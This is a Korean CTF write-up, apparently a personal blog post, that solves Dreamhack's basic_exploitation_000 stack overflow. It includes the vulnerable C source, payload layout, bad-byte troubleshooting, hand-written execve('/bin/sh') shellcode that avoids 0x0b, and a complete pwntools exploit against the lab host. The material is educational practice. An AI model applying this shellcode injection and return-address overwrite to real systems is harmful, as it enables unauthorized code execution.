CTF

Basic_Exploitation 000

whffu0123 2026. 6. 17. 20:21

Dreamhack basic_exploitation_000 Write-up 


1. 문제 개요

스택 버퍼 오버플로우로 반환 주소(RET)를 덮는 것까지는 이전 문제들과 같지만, 이번엔 점프할 만한 좋은 함수(get_shell, read_flag)가 주어지지 않는다. 그래서 셸코드를 직접 buf에 주입한 뒤, RET를 buf 자신의 주소로 덮어 내가 심은 셸코드로 실행 흐름을 넘기는 것이 목표다.

out_of_bound No PIE OOB 인덱스로 system("/bin/sh") 호출
cmd_center No Canary 오버플로우로 인접 변수 변조 + strncmp 우회
rao No Canary + No PIE 오버플로우로 RET를 get_shell 주소로 변조
basic_exploitation_000  No Canary + NX disabled 셸코드를 주입하고 RET를 buf 주소로 변조

rao가 "이미 있는 함수(get_shell)로 점프"였다면, 000은 "점프할 코드가 없으니 내가 만들어서 메모리에 넣고 거기로 뛴다"는 한 단계 위의 기법이다. 이전에 배운 셸코드(shell_basic)RET 덮기(rao) 를 합치는 문제다.


2. 보호기법 분석 (checksec)

Arch:     i386-32-little        → 32비트, p32 / context.arch="i386"
RELRO:    No RELRO
Stack:    No canary found       → 오버플로우로 RET까지 자유롭게 덮기 가능
NX:       NX disabled           → 스택의 셸코드 실행 가능 (이게 결정적)
PIE:      No PIE (0x8048000)    → 코드 주소 고정
RWX:      Has RWX segments      → 스택 읽기/쓰기/실행 모두 가능

핵심은 NX disabled / Stack Executable. 이 덕분에 "스택(buf)에 셸코드를 심고 거기로 점프"하는 전략이 통한다. NX가 켜져 있었다면 이 방법은 불가능하고 ROP 같은 다음 단계 기법이 필요했을 것이다.


3. 소스 코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x80];               // 128바이트 버퍼
    initialize();
    printf("buf = (%p)\n", buf);  // ← buf의 주소를 출력해줌!
    scanf("%141s", buf);          // ← 141바이트 입력 → 오버플로우
    return 0;
}

결정적인 두 줄

(1) printf("buf = (%p)\n", buf) — 프로그램이 매 실행마다 buf의 주소를 출력해준다. 원격 서버에 ASLR이 켜져 있어 buf 주소가 실행마다 바뀌지만(0xfffb3ef8 → 0xffd1c998 → 0xffc15b18 ...), 이 출력을 받아서 RET에 쓰면 ASLR을 그대로 우회할 수 있다.

(2) scanf("%141s", buf) — buf는 128바이트인데 141바이트까지 받는다. 0x80(128) + SFP(4) + RET(4) = 136 < 141이므로 RET를 덮기에 충분하다.


4. 스택 레이아웃과 페이로드 설계

disassemble main의 lea eax,[ebp-0x80]에서 buf가 ebp-0x80임을 확인. 32비트 스택 구조:

[ buf (0x80 = 128바이트) ][ SFP (4) ][ RET (4) ]
 ↑ 셸코드를 여기 맨 앞에 심음        ↑ 여기를 buf 주소로 덮음

 

 

 

페이로드 구성:

payload  = shellcode                        # buf 맨 앞에 셸코드
payload += b"\x90" * (0x80 - len(shellcode))# 나머지를 NOP으로 채워 0x80 맞춤
payload += b"BBBB"                          # SFP 4바이트
payload += p32(buf)                         # RET ← printf가 알려준 buf 주소

main이 ret하면 RET에 적힌 buf 주소로 점프 → buf 맨 앞의 셸코드 실행.


5. 트러블슈팅 — 실패 원인 분석

이 문제는 페이로드 구조는 처음부터 맞았지만, scanf가 셸코드를 중간에 잘라먹는 문제 때문에 네 번의 셸코드 교체를 거쳤다. 그 과정을 정리한다.

핵심 함정: scanf의 공백 바이트 절단

scanf("%s")는 공백류 문자를 만나면 입력을 거기서 끊는다. 끊는 바이트는 다음과 같다.

바이트 의미

0x09 Tab
0x0a Line Feed (\n)
0x0b Vertical Tab
0x0c Form Feed
0x0d Carriage Return
0x20 Space

셸코드 안에 이 중 하나라도 있으면, 그 지점에서 입력이 잘려 셸코드 뒷부분 + SFP + RET가 아예 전달되지 않는다. → RET가 안 덮이고 프로그램이 정상 종료(exit 0) → 연결 종료(EOF).

실패 1차 — shellcraft.execve("/bin/sh", 0, 0)

buf addr는 받았으나 셸 안 뜨고 exit code 0. 셸코드 중간의 공백 바이트에서 잘린 것으로 추정.

실패 2차 — 임의의 23바이트 무공백 셸코드

증상: 여전히 EOF. 해당 셸코드가 이 환경에서 정확히 동작하지 않았다.

실패 3차 — NOP sled 추가 (셸코드를 buf 끝에 배치)

RET → buf 시작(NOP 구간) → 미끄러져 셸코드 도달 전략을 시도. 여전히 EOF. 점프/정렬 문제가 아니라 셸코드 자체가 실행 중 죽는다는 의심으로 전환.

실패 4차 — shellcraft.sh() (len = 44)

shellcode len = 44로 정상 어셈블됐으나 EOF. 이때 공백 바이트 자동 검사 코드를 추가하여 원인을 직접 확인.

bad = [hex(b) for b in shellcode if b in (0x09,0x0a,0x0b,0x0c,0x0d,0x20)]
log.info("bad bytes in shellcode: %s" % bad)

→ 결과: bad bytes in shellcode: [11] (= 0x0b)

원인 확정: syscall 번호 11(0x0b)이 그대로 들어감

execve의 syscall 번호는 11이다. 보통 이를 push 0xb; pop eax(6a 0b ...) 또는 mov al, 0xb(b0 0b)로 넣는데, 둘 다 기계어에 0x0b 바이트를 만든다. 이 0x0b가 scanf의 절단 대상이라 셸코드가 그 직전에서 잘려 있었다.

최종 해결: syscall 번호를 산술로 생성

11을 직접 쓰지 않고, 공백 바이트가 아닌 값에서 빼서 만든다.

mov    al, 0x10    ; 16 (b0 10)
sub    al, 0x5     ; 16 - 5 = 11 (2c 05)
int    0x80

b0 10, 2c 05 모두 공백 바이트가 아니다. 이로써 bad bytes in shellcode: [] (깨끗)을 달성.

마지막 함정: interactive 타이밍

셸코드는 성공적으로 실행됐으나(cat flag 입력 시 $ 프롬프트가 한 번 더 떴음), p.interactive()가 너무 빨리 닫혀 명령 출력을 받기 전에 연결이 끊겼다.

해결: interactive 대신 셸에 명령을 직접 전송하고 결과를 표식으로 잡아 수신.

→ ls 결과로 basic_exploitation_000, flag, run.sh 확인, cat flag로 플래그 획득.


6. 최종 익스플로잇 코드

from pwn import *

context.arch = "i386"
context.os = "linux"

p = remote("host3.dreamhack.games", 20671)

# 1) printf가 출력한 buf 주소 수신 (ASLR 우회)
p.recvuntil(b"buf = ")
buf = eval(p.recvline().strip())
log.info("buf addr = " + hex(buf))

# 2) scanf-safe 셸코드 (공백 바이트 0개)
#    execve("/bin/sh", NULL, NULL)
#    syscall 번호 11을 (mov al,0x10; sub al,0x5)로 생성하여 0x0b 회피
asm_code = """
    xor    eax, eax
    push   eax
    push   0x68732f2f      ; "//sh"
    push   0x6e69622f      ; "/bin"
    mov    ebx, esp        ; ebx = "/bin//sh"
    xor    ecx, ecx        ; argv = NULL
    xor    edx, edx        ; envp = NULL
    xor    eax, eax
    mov    al, 0x10        ; 16
    sub    al, 0x5         ; 16-5 = 11 (execve)
    int    0x80
"""
shellcode = asm(asm_code)

# 3) 페이로드 조립
payload  = shellcode
payload += b"\x90" * (0x80 - len(shellcode))   # NOP으로 buf 0x80 채움
payload += b"BBBB"                             # SFP
payload += p32(buf)                            # RET ← buf 주소

p.sendline(payload)

# 4) 셸 뜨면 명령 직접 전송 (interactive 타이밍 문제 회피)
p.sendline(b"ls")
p.sendline(b"cat flag")
p.sendline(b"echo ===END===")
print(p.recvuntil(b"===END===", timeout=5).decode(errors="replace"))

실행 결과:


7. 한 줄 요약과 배운 점

  1. scanf는 공백 바이트(0x09,0x0a,0x0b,0x0c,0x0d,0x20)에서 입력을 끊는다. read와 달리 바이트를 그대로 다 받지 않으므로, 셸코드에 이 바이트가 없어야 한다.
  2. syscall 번호 11(0x0b)이 곧 공백 바이트라서, execve 셸코드를 scanf 환경에 쓸 땐 번호를 산술(mov al,0x10; sub al,0x5)로 만들어 회피해야 한다.
  3. bad byte 자동 검사 코드([hex(b) for b in shellcode if b in (...)])를 페이로드에 끼워두면, "셸코드가 왜 안 도는가"를 추측이 아니라 데이터로 즉시 진단할 수 있다.
  4. printf의 %p 주소 노출 = ASLR 우회 발판. 주소가 매 실행 바뀌어도 그때그때 받아 쓰면 된다.
  5. p.interactive()가 일찍 닫히면 명령을 직접 sendline하고 표식(===END===)으로 출력을 잡는다.

다음 단계

이 풀이가 통한 이유는 NX가 꺼져 있었기 때문이다. NX가 켜진 환경에서는 스택의 셸코드가 실행되지 않으므로, 같은 오버플로우를 ROP(Return Oriented Programming) 로 이어가는 기법을 다음에 학습할 차례다.

'CTF' 카테고리의 다른 글

SINT  (0) 2026.06.27
Basic_Exploitation 001  (0) 2026.06.17
Return Address Overwrite  (0) 2026.06.17
Out of Bounds  (0) 2026.06.17
shellcode  (0) 2026.06.17